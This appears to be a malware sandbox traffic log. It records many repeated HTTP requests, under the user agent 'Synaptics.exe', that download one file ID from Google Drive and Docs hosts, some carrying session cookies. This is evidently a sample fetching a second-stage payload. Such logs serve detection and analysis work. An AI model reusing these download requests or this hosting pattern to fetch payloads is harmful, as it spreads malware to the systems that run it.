Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
